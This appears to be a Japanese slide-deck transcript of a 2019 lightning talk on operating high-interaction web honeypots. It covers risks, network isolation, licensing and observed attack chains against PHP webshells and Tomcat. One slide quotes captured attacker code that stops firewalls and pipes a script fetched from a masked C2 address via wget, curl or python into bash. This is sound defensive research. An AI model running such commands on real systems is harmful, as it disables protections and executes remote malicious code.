Upgrade to Pro — share decks privately, control downloads, hide ads and more …

高対話型ハニーポットに乗り込んで厄災(リスク)を攻略し希望(リターン)を持ち帰る話

Bb6c58824da6ffb4aa734173e50bb7a0?s=47 graneed
February 23, 2019

 高対話型ハニーポットに乗り込んで厄災(リスク)を攻略し希望(リターン)を持ち帰る話

2019年2月23日の元祖 濱せっく #2でLTした資料です。

攻撃事例の詳細はこちら。

WebShell型ハニーポットを設置してWebShellに対するスキャンを観察した
https://graneed.hatenablog.com/entry/2019/01/23/000924

Tomcatの管理機能に対するパスワードクラック後の攻撃を観察する
https://graneed.hatenablog.com/entry/2019/02/15/090727

Bb6c58824da6ffb4aa734173e50bb7a0?s=128

graneed

February 23, 2019
Tweet

Transcript

  1. 高対話型ハニーポットに 乗り込んで “厄災(リスク)”を攻略し “希望(リターン)”を 持ち帰る話 2019年2月23日 元祖 濱せっく #2 @graneed111

  2. 自己紹介 graneed セキュリティのお仕事 CTFer - チームnoraneco - SECCON 2018 国際決勝出場

    ハニーポッター 2
  3. 3 ハニーポットの運用目的は様々 スキャン活動の監視 マルウェア検体の入手 攻撃手法の収集

  4. 4 ハニーポットの分類 コロナ社「実践サイバーセキュリティモニタリング」より ハニーポット 攻撃経路 インタラクション サーバ クライアント ハニートークン 高対話

    ハイブリッド 低対話 分類 低対話型と高対話型の比較 インタラクション 検知精度 情報収集 偽装性 スケーラビリ ティ 安全性 低対話型 低 低 低 高 高 高対話型 高 高 高 低 低 本LTで話すテーマ
  5. 低対話型ハニーポットで頻繁に観測するもの 5 IoT機器やルータを狙ったスキャン phpMyAdminを狙ったスキャンまたはパスワードクラック WordPressを狙ったスキャンまたはパスワードクラック tomcatを狙ったスキャンまたはパスワードクラック ・ ・ ・

  6. 低対話型ハニーポットで頻繁に観測するもの 6 IoT機器やルータを狙ったスキャン phpMyAdminを狙ったスキャンまたはパスワードクラック WordPressを狙ったスキャンまたはパスワードクラック tomcatを狙ったスキャンまたはパスワードクラック ・ ・ ・

  7. スキャンのその先へ 7 攻撃者は、スキャン活動によって 狙ったプラットフォームや フレームワークの使用を確認後、 本格的な攻撃に移行 高対話型ハニーポットを用意し、 攻撃者に次のステップに 進んでもらいたい

  8. 高対話型ハニポの厄災(リスク)と希望(リターン) 8 本物のアプリケーションを使用する ため、本当に乗っ取られる 「厄災(リスク)」が大きい 一方、低対話型では得られない 「希望(リターン)」が期待できる

  9. 期待する希望(リターン) 9 C2サーバの情報、IoC 新しい脆弱性に対する攻撃手法 侵入後の行動パターン 洗練されたエクスプロイトコード

  10. 10 5大厄災(リスク)

  11. 11 5大厄災(リスク)

  12. 厄災を攻略してハニポ運用するために必要なもの 12 「許可」「手段」「資格」「契約」

  13. 契約 13

  14. 契約 14 大前提として独立したネットワーク環境を推奨 方法1.クラウドサーバーまたはVPCを契約 方法2.自宅で構築するなら、2回線目を契約    (フレッツ光ならセッションプラスを利用) NTT東日本「フレッツ・セッションプラス サービス内容」より

  15. 資格 15

  16. 資格 16 求められる資格は、 基本は毎日、最悪でも週一は観測を続ける 気概を持つこと 想定外の厄災に遭って、気付いたら サーバを乗っ取られている可能性は十分にある

  17. 手段 17

  18. 手段 18 高対話型ハニーポット BW-Pot https://github.com/graneed/bwpot 特徴 ・頻繁に攻撃のターゲットとなっている  Webアプリケーション環境を使用 ・毎日、クリーンな環境に自動リストア ・Google

    BigQueryへのリアルタイムなログ連携 ・低スペックなサーバで運用可能
  19. 手段 19 アーキテクチャ

  20. 手段 20 Google BigQueryでSQLを使用した分析

  21. 手段 21 Googleデータポータルでダッシュボード作成

  22. 手段 22 SQLを使用できるため、表結合やグループ関数等を 駆使すれば新種リクエストの確認も容易

  23. 許可 23

  24. 許可 24 実は、T3プロトコル(WeblogicのRMI仕様の実装)を ターゲットとした攻撃を観察したいため、 WebLogic Server環境も搭載しようと、 Oracle社に確認してみました。 個人でセキュリティ・リサーチを目的に、開発者向け WebLogic Server(以降、WLS)を使用して

    ハニーポット(攻撃者からの不正アクセスの観察を目的としたシステム )を構築したいと考えています。 (途中略) この利用目的の場合、 OTNライセンスの範囲で開発者向け WebLogic Serverを使用可能でしょうか? 質問
  25. 許可 25 実は、T3プロトコル(WeblogicのRMI仕様の実装)を ターゲットとした攻撃を観察したいため、 WebLogic Server環境も搭載しようと、 Oracle社に確認してみました。 個人でセキュリティ・リサーチを目的に、開発者向け WebLogic Server(以降、WLS)を使用して

    ハニーポット(攻撃者からの不正アクセスの観察を目的としたシステム )を構築したいと考えています。 (途中略) この利用目的の場合、 OTNライセンスの範囲で開発者向け WebLogic Serverを使用可能でしょうか? 質問 WebLogic ServerのOTN契約書の記載内容は以下リンク先をご参照ください。 <OTN Free Developer License Agreement> https://www.oracle.com/technetwork/licenses/wls-dev-license-1703567.html <【日本語参考訳】>※上記の日本語訳です http://www.oracle.com/technetwork/jp/licenses/wls-dev-license-1703567-ja.html また上記OTNライセンス契約には、次の条件が規定されています。 規約に完全同意していただく必要があるため、詳細はライセンス契約をお読みください。 <利用条件> ・1台の開発者のデスクトップ上で稼働し、  1ユーザーしかアクセスしない Weblogic Server環境のみ対象 (共有開発不可) 回答 使用NG 使用するソフトウェアのライセンスの許可に注意
  26. 観察事例 26

  27. 観察事例1.PHP 27 低対話型 で観測 ①POST /hoge.php  fuga=die(@md5(J4nur4ry)); 4df5791c3e09e5c7faa7b3ce35d9cd4b ②POST /hoge.php

     images.php設置リクエスト ③POST /images.php  a=just for fun&code=文字列出力コード(BASE64エンコード) Hello, Peppa! ④POST /images.php  a=just for fun&code=システム情報出力コード (BASE64エンコード) システム情報 ⑤POST /images.php  a=just for fun&code=攻撃コード(BASE64エンコード) C2サーバ通信& 任意シェル実行 高対話型で観測
  28. 観察事例1.PHP 攻撃コード抜粋 $PS='/etc/init.d/iptables stop; service iptables stop; SuSEfirewall2 stop; reSuSEfirewall2

    stop;'; echo(@execute($PS)?'success':'failed'); $PS='(wget -U "Mozilla/WGET" -q -O- http://XXX.XXX.XXX.XXX/Update/test/i.php || curl -A "Mozilla/CURL" -fsSL http://XXX.XXX.XXX.XXX/Update/test/i.php || python -c "from urllib2 import urlopen,Request; print(urlopen(Request(\'http://XXX.XXX.XXX.XXX/Update/test/i.php\', None,{\'User-Agent\':\'Mozilla/Python2\'})).read());" ) | /bin/bash'; die(@execute($PS)?'success':'failed'); ①Firewallの停止 ②C2サーバからシェルスクリプト取得して実行 (wget、curlまたはpythonのいずれかを使用) ① ②
  29. 観察事例2.Apache Tomcat 29 低対話型 で観測 ①パスワードクラック ②POST /admin-manager/admin.jsp  act=SI ③GET

    /manager/html  BASIC認証のID/Password ④WARファイルアップロード&デプロイ ⑥POST /admin-manager/admin.jsp  act=SH&p2=True&p1=攻撃コマンド(BASE64エンコード) C2サーバ通信& 任意シェル実行 高対話型で観測 認証OK ⑤POST /admin-manager/admin.jsp  act=SI システム情報
  30. まとめ 30 github :https://github.com/graneed/bwpot Blog :https://graneed.hatenablog.com/ →本日ご紹介した事例の詳細レポート記事もあります Twitter :@graneed111 高対話型のハニーポットを設置すると、

    攻撃者の生の動きを観察できるかもしれません 「許可」「手段」「資格」「契約」を得て、 ハニーポットに乗り込んで出航しませんか!